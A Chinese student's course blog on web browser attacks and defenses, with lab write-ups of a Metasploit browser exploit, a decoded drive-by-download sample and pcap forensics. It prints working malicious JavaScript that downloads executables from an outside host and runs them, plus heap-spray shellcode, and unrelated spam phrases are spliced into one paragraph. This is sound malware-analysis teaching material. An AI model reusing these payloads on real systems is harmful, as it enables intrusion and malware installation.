20199313 2019-2020-2 《网络攻防实践》第十二周作业

20199313 2019-2020-2 《网络攻防实践》第十一周作业

本博客属于课程:《网络攻防实践》
本次作业:《第十一周作业》
我在这个课程的目标:掌握知识与技能,增强能力和本领,提高悟性和水平。

Web浏览器安全与防护

  • Web浏览器作为目前互联网时代最为重要的软件产品,也正遭遇着我们之前已
经介绍过的软件安全困境三要素的问题,即复杂性、可扩展性和连通性,从而使得Web浏
览器软件与操作系统等大型系统软件一样,面临着严峻的安全问题与挑战,在近几年的安
全威胁演化趋势中,浏览器软件所面临的安全威胁,较操作系统与其他网络服务软件所面
临的安全威胁,要更加严重和流行。
  • Web浏览覇软件的安全困境三要素
在复杂性方面,现代Web浏览器软件由于需要支持HTTP、HTTPS、FTP等多种类型
的应用层协议浏览,符合HTML、XHTML、CSS等一系列的页面标准规范,支持JavaScript、
Flash、Java、SilverLight等多种客户端执行环境,并满足大量的用户浏览需求,己经变得
非常复杂和庞大。仅仅作为完成现代浏览器最基本功能的内核引擎,Webkit开源代码项目
的源代码行数已经超过了 1.2百万行,Firefox浏览器的源代码行数则已超过了 2百万行.
虽然较操作系统软件的千万行代码级别还少一个数最级,但考虑到浏览器仅仅作为一个成
用程序,它们的复杂性已经通过源代码行数得到了验证。
  • 现代浏览器软件的复杂性意味若
更多的错误和安全缺陷,也就导致了目前浏览器软件中存在着可被渗透攻击所利用的大量
安全漏洞。
在可扩展性方面,现代Web浏览器可能是最突岀可扩展特性支持的软件类型,冃前几
乎所有的现代浏览器软件都支持第三方插件扩展机制,并通过JavaScript等客广端脚本执
行环境、沙箱和虚拟机来执行富Internet应用程序.而相对于大型软件厂商所开发的浏览器
软件本身而言,第三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普
遍。

web攻击方式

一、溢出攻击

  实质上,溢出类攻击是由于将太多的数据放入原 始程序设计人员认为足够的空间中导致的。额外的数据溢出到预期存储区附近的内存中,并且覆盖与该区域的原始用途无关的数据。当执行余下的程序时,它使用新 被覆盖的数据。如果黑客能够用伪数据(也就是,NOP)填充足够的空间,然后添加一点恶意代码或值,那么程序将执行恶意代码或使用新值。这可能导致许多不 同的后果。黑客可能能够越过登录,获得程序的管理员特权。如果受攻击的程序是由系统管理员启动的,那么恶意代码将作为原始程序的一部分进行执行,给黑客系 统中的管理员特权。溢出脆弱点,尽管不总是出现,但在一些情况下,可能很容易被补救,当开发应用程序时利用“安全”库,使用堆栈保护或对输入数据进行检查,从而确保其是适当的大小或类型。这一类的利用总是以类似的方式进行,但会根据受影响的内存类型和预期效果而不同

二、DDOS攻击
分布式拒绝服务攻击(Distributed Denial of Service),简单说就是发送大量请求是使服务器瘫痪。DDos攻击是在DOS攻击基础上的,可以通俗理解,dos是单挑,而ddos是群殴,因为现代技术的发展,dos攻击的杀伤力降低,所以出现了DDOS,攻击者借助公共网络,将大数量的计算机设备联合起来,向一个或多个目标进行攻击。

三、CSRF跨站点请求伪造(CSRF,Cross-Site Request Forgeries)

全称是跨站请求伪造(cross site request forgery),指通过伪装成受信任用户的进行访问,通俗的讲就是说我访问了A网站,然后cookie存在了浏览器,然后我又访问了一个流氓网站,不小心点了流氓网站一个链接(向A发送请求),这个时候流氓网站利用了我的身份对A进行了访问。是指攻击者通过已经设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态的更新。属于被动攻击。更简单的理解就是攻击者盗用了你的名义,以你的名义发送了请求。
由于用户本地存储cookie,攻击者利用用户的cookie进行认证,很容易伪造用户发出请求

  • 预防措施:
    之所以被攻击是因为攻击者利用了存储在浏览器用于用户认证的cookie,那么如果我们不用cookie来验证不就可以预防了。所以我们可以采用token(不存储于浏览器)认证。通过referer识别,HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器我是从哪个页面链接过来的,服务器基此可以获得一些信息用于处理。那么这样的话,我们必须登录银行A网站才能进行转账了。

四、SOL注入攻击
是指通过对web连接的数据库发送恶意的SQL语句而产生的攻击,从而产生安全隐患和对网站的威胁,可以造成逃过验证或者私密信息泄露等危害。SQL注入的原理是通过在对SQL语句调用方式上的疏漏,恶意注入SQL语句。

五、XSS攻击(Cross-Site scripting)
跨站脚本攻击,是指在通过注册的网站用户的浏览器内运行非法的HTML标签或javascript,从而达到攻击的目的,如盗取用户的cookie,改变网页的DOM结构,重定向到其他网页等。

六、网页挂马

网页挂马的实质是2015年澳洲移民政策利用漏洞向用户传播木美国研究生申请指南马下载器,当我们更清2015年澳洲移民政策楚了这点就能做到有效澳大利亚读研条件页木马就是网页恶意软留学加拿大条件木马就是网页恶意软件威胁的罪魁祸首,和大家印象中的不同,准确的说,网页木马并不是木马程序,而应该称为网页木马“种植器”,也即一种通过攻击浏览器或浏览器外挂程序(目标通常是IE浏览器和ActiveX程序)的漏洞,向目标用户机器植入木马、病毒、密码盗取等恶意程序的手段。
目前攻击者构建网页木马所使用的IE浏览器漏洞,包括最新的MS07004 VML漏洞,都是利用构造大量数据溢出浏览器或组件的缓冲区来执行攻击代码的,因此,用户遭受溢出类的网页木马的攻击时,通常系统的反应会变得十分缓慢,CPU占用率很高,浏览器窗口没有响应,也无法使用任务管理器强行关闭。另外,在一些内存小于512M的系统上,溢出类的网页木马攻击时,系统会频繁的对磁盘进行读写操作(物理内存不够用,系统自动扩大虚拟内存)。
进程变化情况:
有少数的IE浏览器漏洞不属于缓冲区溢出的漏洞,比如去年初出现的MS06014 XML漏洞,用户在遭受使用它所构造的网页木马的攻击时,系统反应不会有明显的变化或者磁盘读写,顶多有时会短暂出现系统等待的沙漏图标,不过时间很短,用户一不留意就会错过。这种情况下,用户可以打开任务管理器或使用Process Explorer,查看是否有非用户启动的Iexplore.exe进程、名字比较奇怪的进程等来判断是否遭受了网页木马的攻击。
浏览器显示:
攻击者在使用网页木马的被动攻击方式时,通常会在被其控制的合法网站上使用HTML中的iframe语句或java script方式来调用网页木马,如果用户在打开某个合法网站时,发现IE浏览器左下角的状态栏一直显示一个和当前浏览网站一点关系都没有的地址,同时系统响应变得很慢,或者是鼠标指针变成沙漏形状,便有可能正在遭受网页木马的攻击。

网页木马防范措施

应对网页木马最根本的防范措施与应对传统渗透攻击一样,就是提升操作系统与浏览端平台软件的安全性,可以釆用操作系统本身提供的在线更新以及第三方软件所提供的常用应用软件更新机制,来确保所使用的计算机始终处于一种相对安全的状态;另外安装与实时更新一款优秀的反病毒软件也是应对网页木马威胁必不可少的环节,同时养成安全上网浏览的良好习惯,并借助于Google安全浏览、SiteAdvisor等站点安全评估工具的帮助,避免访问那些可能遭遇挂马或者安全性不高的网站,可以有效地降低被网页木马渗透攻击的概率;最后,在目前网页木马威胁主要危害Windows平台和IE浏览器用户的情况下,或许安装MacOS/Linux操作系统,并使用Chrome、Safari、Opera等冷门浏览器进行上网,做互联网网民中特立独行的少数派,可以有效地避免网页木马的侵扰。

常用网站木马文件后门检测工具

一、D盾_Web查杀
软件使用自行研发不分扩展名的代码分析引擎,能分析更为隐藏的WebShell后门行为。引擎特别针对一句话后门,变量函数后门,${}执行 、preg_replace执行、call_user_func、file_put_contents、fputs等特殊函数的参数进行针对性的识别,能查杀更为隐藏的后门,并把可疑的参数信息展现在你面前,让你能更快速的了解后门的情况,还加入隔离功能,并且可以还原!
D盾_Web查杀官方下载地址:http://www.d99net.net/down/WebShellKill_V2.0.9.zip

二、WebShellkiller
WebShellkiller作为一款web后门专杀工具,不仅支持webshell的扫描,同时还支持暗链的扫描。这是一款融合了多重检测引擎的查杀工具。在传统正则匹配的基础上,采用模拟执行,参数动态分析监测技术、webshell语义分析技术、暗链隐藏特征分析技术,并根据webshell的行为模式构建了基于机器学习的智能检测模型。传统技术与人工智能技术相结合、静态扫描和动态分析相结合,更精准地检测出WEB网站已知和未知的后门文件。
WebShellkiller官方下载地址:http://edr.sangfor.com.cn/tool/WebShellKillerTool.zip
三、河马查杀
http://www.shellpub.com/
http://www.webshell.pub/
四、百度WebShell检测
https://scanner.baidu.com/
五、WebShell 检测工具
http://edr.sangfor.com.cn/backdoor_detection.html

网络钓鱼

常见的网络钓鱼手段
  “网络钓鱼”的主要伎俩在于仿冒某些公司的网站或电子邮件,然后对其中的程序代码动手脚,如果使用者信以为真地按其链接和要求填入个人重要资料,资料将被传送到诈骗者手中。实际上,不法分子在实施网络诈骗的犯罪活动过程中,经常采取以上几种手法交织、配合进行,还有的通过手机短信、QQ、MSN进行各种各样的“网络钓鱼”不法活动。当然,也有一个游戏叫网络钓鱼,也蛮好玩得.

  一 发送电子邮件,以虚假信息引诱用户中圈套。 诈骗分子以垃圾邮件的形式大量发送欺诈性邮件,这些邮件多以中奖、顾问、对帐等内容引诱用户在邮件中填入金融账号和密码,或是以各种紧迫的理由要求收件人登录某网页提交用户名、密码、身份证号、信用卡号等信息,继而盗窃用户资金。
  黑客先准备好一个网页,网页由ASP或PHP等脚本语言编写。这个网页可以先期用webdump等软件把真正的招商银行等网站扒下来。然后通过自己写的脚本程序,实现自动记录用户输入的卡号和密码。
  二建立假冒网上银行、网上证券网站,骗取用户帐号密码实施盗窃。 犯罪分子建立起域名和网页内容都与真正网上银行系统、网上证券交易平台极为相似的网站,引诱用户输入账号密码等信息,进而通过真正的网上银行、网上证券系统或者伪造银行储蓄卡、证券交易卡盗窃资金;还有的利用跨站脚本,即利用合法网站服务器程序上的漏洞,在站点的某些网页中插入恶意Html代码,屏蔽住一些可以用来辨别网站真假的重要信息,利用cookies窃取用户信息。
如曾出现过的某假冒银行网站,网址为[url]http://www.1cbc.com.cn[/url] ,而真正银行网站是[url]http://www.icbc.com.cn[/url] ,犯罪分子利用数字1和字母i非常相近的特点企图蒙蔽粗心的用户。

又如2004年7月发现的假联想公司网站(网址为[url]http://www.1enovo.com[/url] ),而真正网站为[url]http://www.lenovo.com[/url] ,诈骗者利用了小写字母l和数字1很相近的障眼法。诈骗者通过QQ散布“联想集团和腾讯公司联合赠送QQ币”的虚假消息,引诱用户访问。而一旦用户访问该网站,首先生成一个弹出窗口,上面显示“免费赠送QQ币”的虚假消息。而就在该弹出窗口出现的同时,恶意网站主页面在后台即通过多种IE漏洞下载病毒程序 lenovo.exe(TrojanDownloader.Rlay),并在2秒钟后自动转向到真正网站主页,用户在毫无觉察中就感染了病毒。病毒程序执行后,将下载该网站上的另一个病毒程序bbs5.exe,用来窃取用户的传奇帐号、密码和游戏装备。当用户通过QQ聊天时,还会自动发送包含恶意网址的消息。
  三 利用虚假的电子商务进行诈骗。 此类犯罪活动往往是建立电子商务网站,或是在比较知名、大型的电子商务网站上发布虚假的商品销售信息,犯罪分子在收到受害人的购物汇款后就销声匿迹。如2003年,罪犯佘某建立“奇特器材网”网站,发布出售间谍器材、黑客工具等虚假信息,诱骗顾主将购货款汇入其用虚假身份在多个银行开立的帐户,然后转移钱款的案件。除少数不法分子自己建立电子商务网站外,大部分人采用在知名电子商务网站上,如“易趣”、“淘宝”、“阿里巴巴”等,发布虚假信息,以所谓“超低价”、“免税”、“走私货”、“慈善义卖”的名义出售各种产品,或以次充好,以走私货充行货,很多人在低价的诱惑下上当受骗。网上交易多是异地交易,通常需要汇款。不法分子一般要求消费者先付部分款,再以各种理由诱骗消费者付余款或者其他各种名目的款项,得到钱款或被识破时,就立即切断与消费者的联系。
防范措施:
1.停止共享敏感信息。如果员工已经泄露了敏感的信息,应立即报告。企业要教育员工立即与经理、服务台工作人员,或与网络管理员、安全人员联系。后者要采取措施更改口令,或监视网络的异常活动。
2.请求银行等机构采取措施。如果员工共享了财务信息,或认为财务信息遭到了泄露,应立即与相关机构联系。请求其监视账户的异常活动和费用,甚至在必要时关闭账户。
3.保护口令。如果怀疑口令遭到了泄露,应立即更改。公司应教育员工不能在多个系统或账户上使用相同的口令。要尽最大努力确保所有的口令都完全不同。

javascript加密算法(XXTEA)

微型加密算法(Tiny Encryption Algorithm,TEA)是一种易于描述和执行的块密码,通常只需要很少的代码就可实现。其设计者是剑桥大学计算机实验室的大卫·惠勒与罗杰·尼达姆。这项技术最初于1994年提交给鲁汶的快速软件加密的研讨会上,并在该研讨会上演讲中首次发表。
在给出的代码中:加密使用的数据为2个32位无符号整数,密钥为4个32位无符号整数即密钥长度为128位。
而XXTEA则是TEA的升级版,其具体加密过程吐下图所示:

加密代码如下:

        #include <stdio.h>  
        #include <stdint.h>  
        #define DELTA 0x9e3779b9  
        #define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  
        void btea(uint32_t *v, int n, uint32_t const key[4])  
        {  
            uint32_t y, z, sum;  
            unsigned p, rounds, e;  
            if (n > 1)            /* Coding Part */  
            {  
                rounds = 6 + 52/n;  
                sum = 0;  
                z = v[n-1];  
                do  
                {  
                    sum += DELTA;  
                    e = (sum >> 2) & 3;  
                    for (p=0; p<n-1; p++)  
                    {  
                        y = v[p+1];  
                        z = v[p] += MX;  
                    }  
                    y = v[0];  
                    z = v[n-1] += MX;  
                }  
                while (--rounds);  
            }  
            else if (n < -1)      /* Decoding Part */  
            {  
                n = -n;  
                rounds = 6 + 52/n;  
                sum = rounds*DELTA;  
                y = v[0];  
                do  
                {  
                    e = (sum >> 2) & 3;  
                    for (p=n-1; p>0; p--)  
                    {  
                        z = v[p-1];  
                        y = v[p] -= MX;  
                    }  
                    z = v[n-1];  
                    y = v[0] -= MX;  
                    sum -= DELTA;  
                }  
                while (--rounds);  
            }  
        }   
        int main()  
        {  
            uint32_t v[2]= {1,2};  
            uint32_t const k[4]= {2,2,3,4};  
            int n= 2; //n的绝对值表示v的长度,取正表示加密,取负表示解密  
            // v为要加密的数据是两个32位无符号整数  
            // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位  
            printf("加密前原始数据:%u %u\n",v[0],v[1]);  
            btea(v, n, k);  
            printf("加密后的数据:%u %u\n",v[0],v[1]);  
            btea(v, -n, k);  
            printf("解密后的数据:%u %u\n",v[0],v[1]);  
            return 0;  
        }  

web攻击实践

按照往常的方法,以控制台方式打开msfconsole软件
search ms06-014后使用其提供的攻击脚本use exploit/windows/browser/ie_createobject
这个脚本利用网页通过浏览器做tcp反弹窗口木马,让人们连接到这个网站的同时建立起与攻击机的tcp链接,使得攻击机能够轻易地获取靶机的shell操作权限,并通过shellcode来进行操作。

设置好一切准备工作后,操作靶机登入这个网址,提示为一串字符串,如果我们能做好隐藏工作,能减少被发现的概率。

sessions -i用于显示我们已经建立的链接信息,sessions -i 1则是选择建立起的id为1的链接回话,我们进入这个回话才能够操控靶机。
这里我们已经成功登陆了靶机,并显示了靶机的各种信息例如ip:192.168.220.3(攻击机ip:192.168.220.4)

网页挂马


这个挂马网站现在已经无法访问了,但蜜网课题组的成员保留了最初做分析时所有的原始文件。首先你应该访问 start.html,在这个文件中给出了 new09.htm 的地址,在进入 new09.htm后 ,每解密出一个文件地址 , 请对其作32位MD5散列 ,以散列值为文件名到http://192.168.68.253/scom/hashed/目录下去下载对应的文件(注意:文件名中的英文字母为小写, 且没有扩展名),即为解密出的地址对应的文件。如果解密出的地址给出的是网页或脚本文件,请继续解密;如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。重复以上过程直到这些文件被全部分析完成。请注意:被散列的文件地址应该是标准的 URL形式,形如 http://xx.18dd.net/a/b.htm,否则会导致散列值计算不正确而无法继续。
问题:
1.试述你是如何一步步地从所给的网页中获取最后的真实代码的?
2.网页和 JavaScript 代码中都使用了什么样的加密方法?你是如何解密的?
3.从解密后的结果来看,攻击者利用了那些系统漏洞?
4.解密后发现了多少个可执行文件?其作用是什么?
5.这些可执行文件中有下载器么?如果有,它们下载了哪些程序?这些程序又是什么作用的?

start.html这个文件位置在ptf文档中描述为192.168.68.253/scon/start.html,但是很遗憾现在已经打不开了

这里贴出解码后的 JavaScript 代码(解除了XXTEA加密,并将其中用64进制ACCII码表示的字符全转为字符形式,我们本次作业在此基础上进行分析,解码过程见附录)

        function init(){document.write();}
        window.onload = init;
        if(document.cookie.indexOf('OK')==-1){
        try{var e;
        var ado=(document.createElement("object"));
        ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
        var as=ado.createobject("Adodb.Stream","")}
        catch(e){};
        finally{
        var expires=new Date();
        expires.setTime(expires.getTime()+24*60*60*1000);
        document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
        if(e!="[object Error]"){
        document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
        else{
        try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
        catch(f){};
        finally{if(f!="[object Error]"){
        document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
        try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
        catch(g){};
        finally{if(g!="[object Error]"){
        document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
        try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
        catch(h){};
        finally{if(h!="[object Error]"){
        obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
        }}}

对这段JavaScript进行简要分析,这段js代码一眼看去就很不健康,看到利用到的应用程序漏洞有很多:例如:Adodb.Stream 微软数据库访问对象漏洞,MPS.StormPlayer 暴风影音漏洞,POWERPLAYER.PowerPlayerCtrl.1 PPStream漏洞,BaiduBar.Tool 百度搜霸漏洞,并且,攻击者还通过js让访问者转发访问http://down.18dd.net/bb/bd.cab", 下载了一个文件"bd.exe"和一个“bd.cab"后者是一个压缩文件
如何区分哪个网址对应是哪个文件呢?请出MD5来为我们解答:


我们找出这个名为5D7E9058A857AA2ABEE820D5473C5FA4的文件,就可以看到这个MPS.StormPlayer 暴风影音漏洞的木马文件。(64进制下的accii码,可以在word中一键转换\x64为\u0064的形式,然后再放进在线转换工具里,就可以转换出源码了)

        var url="http://down.18dd.net/bb/014.exe";
        try{  var xml=ado.CreateObject("Microsoft.XMLHTTP","");
              xml.Open("GET",url,0);
              xml.Send();
              as.type=1;
              as.open();
              as.write(xml.responseBody);
              path="..\\ntuser.com";as.savetofile(path,2);
              as.close();
              var shell=ado.createobject("Shell.Application","");
              shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}
        catch(e){}

我们可以看出,这段代码创建了一个对该漏洞的利用,这个是014号运行文件,同理我们可以获取剩下四个漏洞利用的源代码

3

下面是http://aa.18dd.net/aa/b.js,也就是对POWERPLAYER.PowerPlayerCtrl.1 PPStream漏洞的利用
加密源码头上就写了Pack,真是生怕不知道人家是pack加密,用工具解密之后就看到了中间双引号""之间的内容为shellcode,其余部分通过pack解密就可以看到源码

      u6643 = unescape("%u9090%u9090");
      undefined = 20;
      var shellcode = unescape("%uf3e9%u0000" + "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +           "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +           "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000");
      var slackspace = headersize + shellcode.length;
      while (bigblock.length < slackspace) bigblock += bigblock;
      fillblock = bigblock.substring(0, slackspace);
      block = bigblock.substring(0, bigblock.length - slackspace);
      while (block.length + slackspace < 0x40000) block = block + block + fillblock;
      memory = new Array();
      for (x = 0; x < 300; x++) memory[x] = block + shellcode;
      var buffer = '';
      while (buffer.length < 4068) buffer += "\x0a\x0a\x0a\x0a";
      storm.rawParse(buffer)

中间那段以双引号加百分号构成的代码,是通过escape加密的代码,按照JavaScript的代码理解:var shellcode = unescape("%uf3e9%u……是要通过unescape来解密出shellcode,但是这段代码,我放在任何一个unexcape解密软件中都未能获取其shellcode真正想要的东西,
后来想明白了,这段代码的顺序可能不太对,就像上次做逆向的时候,代码的顺序很有问题,真正在机器里执行的顺序有待商榷

这里采用取巧的办法,我们不妨来找找 URL 中必然出现的斜线“//”,由于shellcode这么短,一般想到的就是下载一个后门木马,来进行攻击,所以访问的网址中//必不可少,“//”的十六进制 ASCII 码是 2F,两个就是连着两个2F,筛选一下再进行转缓就得到了http://down.18dd.net/bb/bf.exe,方法同上,我们进行MD5运算,得到其文件名,这个268CBD59FBED235F6CF6B41B92B03F8E就是对POWERPLAYER.PowerPlayerCtrl.1 PPStream漏洞的利用,意图用其下载另一个木马可执行软件名为bf.exe

3

接下来是利用BaiduBar.Tool 百度搜霸漏洞进行的第三个访问页面:http://aa.18dd.net/aa/pps.js,同样md5运算后得到文件名:5F0B8BF0385314DBE0E5EC95E6ABEDC2,小本本打开如下:

这回是八进制,同样解密得到结果(我删除了文件头的注释,然后和第二个解法类似,找到//
这回访问的是http://down.18dd.net/bb/pps.exe
同样,对这个网址进行MD5运算可以找到其hash文件名,这里不赘述
(在可执行程序的文件夹里也可以直接找到他)
=>

        pps = (document.createElement("object"));
        pps.setAttribute("classid", "clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458") var shellcode = unescape("%uf3e9%u0000" +             "%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" + "%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" + "%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" + "%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7" + "%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" + "%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" + "%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" + "%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" + "%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" + "%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" + "%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" + "%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" + "%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" + "%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" + "%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" + "%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" + "%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" + "%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" + "%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" + "%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" + "%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" + "%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065");
        var bigblock = unescape("%u9090%u9090");
        var headersize = 20;
        var slackspace = headersize + shellcode.length;
        while (bigblock.length < slackspace) bigblock += bigblock;
        fillblock = bigblock.substring(0, slackspace);
        block = bigblock.substring(0, bigblock.length - slackspace);
        while (block.length + slackspace < 0x40000) block = block + block + fillblock;
        memory = new Array();
        for (x = 0; x < 400; x++) memory[x] = block + shellcode;
        var buffer = '';
        while (buffer.length < 500) buffer += "\x0a\x0a\x0a\x0a";
        pps.Logo = buffer

4

最后我们来到最后一个压缩文件的网址http://down.18dd.net/bb/bd.cab,对应hash值为:1C1D7B3539A617517C49EEE4120783B2
找到他,小本本打开它:猛然发现,他貌似不是一个js代码,看看他cab的后缀应该是个压缩包,解压过后就是那个名为bd.exe的文件

到现在我们得到了四个exe文件,014.exe,bf.exe,pps.exe,bd.exe

抱着试一试的态度,想看看这些木马的源码是什么样子,先扫一扫看有没有壳,PEID一扫pps.exe可不得了,妈耶,传说中的原生壳,无人可破,可惜看不到源码什么样了。。。

但是!IDA还是能给他编译出来(不得不说的一点是,这三个文件一样大,IDA走一遍后破案了,这四个exe是一样的)pps.exe,运行之后,疯狂下载文件,没错,剩下那些0~19都是这个木马软件下下来的,这玩意还修改了我的注册表,我的虚拟机真是越来越卡了

取证分析

目标:
1.列出在捕获文件中的应用层协议类型,你认为攻击是针对哪个或哪些协议的?
2. 列出捕获文件中的IP地址、主机名和域名。从这些信息中你能猜出攻击场景的环
境配置情况吗?
3. 列出捕获文件中的所有网页页面,其中哪些页面包含了可疑的、可能是恶意的
JavaScript脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?
4. 请给出攻击者执行攻击动作的概要描述。
5. 攻击者引入了哪些技巧给你的分析带来了困难,请提供在之前问题中识别的恶意
JavaScript脚本内容,并对它们进行解码或解密。
6. 攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
7. Shellcode执行了哪些动作?请列岀Shellcode的MD5,并比较它们之间的差异?
8. 在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?

1 协议类型

wireshark分析的有威胁的报文,最多的是针对http协议的,如下图所示:

使用chaosreader也可以看出相同的结果,而且给的更清晰,可以看出好几个攻击都是netbios,确实存在风险。

  • 对chaosreader生成的文件使用命令筛选出主机列表,
    for i in session_00[0-9]*.http.html; do srcip=cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1; dstip=cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1; host=cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'; echo "$srcip --> $dstip = $host"; done | sort

  • 在使用命令筛选出NBNS协议(获取主机名称和地址的映射):
    tshark -r suspicious-time.pcap | grep 'NB.20>' | sed -e 's/<[^>]>//g' | awk '{print $3,$3,$4,$10}' | sort -u
    很显然这四个ip是同一个主机名所用的,在窗口中我们也可以看出这四个IP对应的mac地址相同,所以他们应该是同一台主机下的虚拟机

打开文件夹,文件有很多,

打开session_0006.part_01.html,这是一个登录界面,单纯看他看不出来什么


看到这觉得他就是一个钓鱼网站,它以0美元的价格让你占便宜,实际上就是为了钓你的“鱼”,但是目前还没找出他的攻击方式

到了这里就出现了,之前我们分析的JavaScript网页挂载的攻击手段,所以大体上应该是先由购物页面引诱你上钩,再让你输入账号密码登录,最后再伪装404让你意识不到自己被攻击了,实际上已经将木马投放到你的电脑了。

下面是这个伪装的404页面的代码(中间那段javascript代码对于一个404页面来说完全没必要)

        <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
        <html><head>
        <meta name="robots" content="noindex">
        <title>404 Not Found</title>
        </head><body>
        <h1>Not Found</h1>
        <p>The requested URL /fg/show.php was not found on this server.</p>
        <script language='JavaScript'>
        var CRYPT = {
            signature: 'CGerjg56R',
            _keyStr: 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',
            decode: function(input) {
                            var output = '';
                var chr1, chr2, chr3;
                var enc1, enc2, enc3, enc4;
                var i = 0;
                input = input.replace(/[^A-Za-z0-9\+\/\=]/g, '');
                while (i < input.length) {
                    enc1 = this._keyStr.indexOf(input.charAt(i++));
                    enc2 = this._keyStr.indexOf(input.charAt(i++));
                    enc3 = this._keyStr.indexOf(input.charAt(i++));
                    enc4 = this._keyStr.indexOf(input.charAt(i++));
                    chr1 = (enc1 << 2) | (enc2 >> 4);
                    chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
                    chr3 = ((enc3 & 3) << 6) | enc4;
                    output = output + String.fromCharCode(chr1);
                    if (enc3 != 64) {
                        output = output + String.fromCharCode(chr2);
                    }
                    if (enc4 != 64) {
                        output = output + String.fromCharCode(chr3);
                    }
                }
                output = CRYPT._utf8_decode(output);
                return output;
            },
            _utf8_decode: function(utftext) {
                var string = '';
                var i = 0;
                var c = 0,
                c1 = 0,
                c2 = 0,
                c3 = 0;
                while (i < utftext.length) {
                    c = utftext.charCodeAt(i);
                    if (c < 128) {
                        string += String.fromCharCode(c);
                        i++;
                    } else if ((c > 191) && (c < 224)) {
                        c2 = utftext.charCodeAt(i + 1);
                        string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
                        i += 2;
                    } else {
                        c2 = utftext.charCodeAt(i + 1);
                        c3 = utftext.charCodeAt(i + 2);
                        string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
                        i += 3;
                    }
                }
